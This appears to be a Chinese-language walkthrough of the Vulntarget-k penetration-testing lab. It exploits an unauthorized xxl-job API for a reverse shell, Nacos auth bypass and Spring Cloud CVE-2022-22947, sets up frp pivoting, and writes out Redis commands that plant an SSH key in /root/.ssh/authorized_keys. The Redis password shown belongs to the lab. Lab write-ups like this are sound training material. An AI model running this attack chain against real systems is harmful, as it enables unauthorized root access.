Vulntarget-k

环境搭建

1
2
https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg
提取码: 2dwq

配置ip

只用修改xxl-job中ip1为攻击机同一网段下即可

1
vim /etc/netplan/00-installer-config.yaml  #修改静态的ip即可

打靶记录

flag1

首先上场的是fscan老大哥,但是扫描无果

然后去尝试挨个访问端口,看看有什么收获没

在9999端口发现了

通过google发现了xxl-job的api的未授权

然后在github上下载了相关的工具进行直接反弹shell

https://github.com/charonlight/xxl-jobExploitGUI/releases/tag/v1.0

flag2

构建frp代理,在内网进行fscan扫描

1
2
3
4
5
6
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos 
[*] WebTitle: http://192.168.100.50:8800 code:503 len:292 title:None
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947
[+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2
[+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file

发现了存在nacos

成功利用https://cloud.tencent.com/developer/article/1784279

创建test1进入后台,但是没有getshell

然后转移到Spring-Cloud-CVE-2022-22947

https://cloud.tencent.com/developer/article/2164533

利用工具https://github.com/0x727/SpringBootExploit

成功getshell

然后通过第一台机器传个马到第二台机器上线msf

flag3

构建双层frp代理

1
攻击机:正常启动frps

xxl:

frpc.ini
frps.ini

spring:

然后进行fscan的内网扫描

发现这里存在redis,于是就利用在nacos中搜集的密码进行登录

然后写ssh公钥进行登录

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh-keygen -t rsa -b 2048 #生成密钥

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt #保存公钥

cat key.txt|proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set bolean #写入redis

proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" #登录redis

配置目录:config set dir /root/.ssh/
重命名:config set dbfilename "authorized_keys"
最后保存即可:save

proxychains ssh -i id_rsa root@192.168.88.70 #利用私钥登录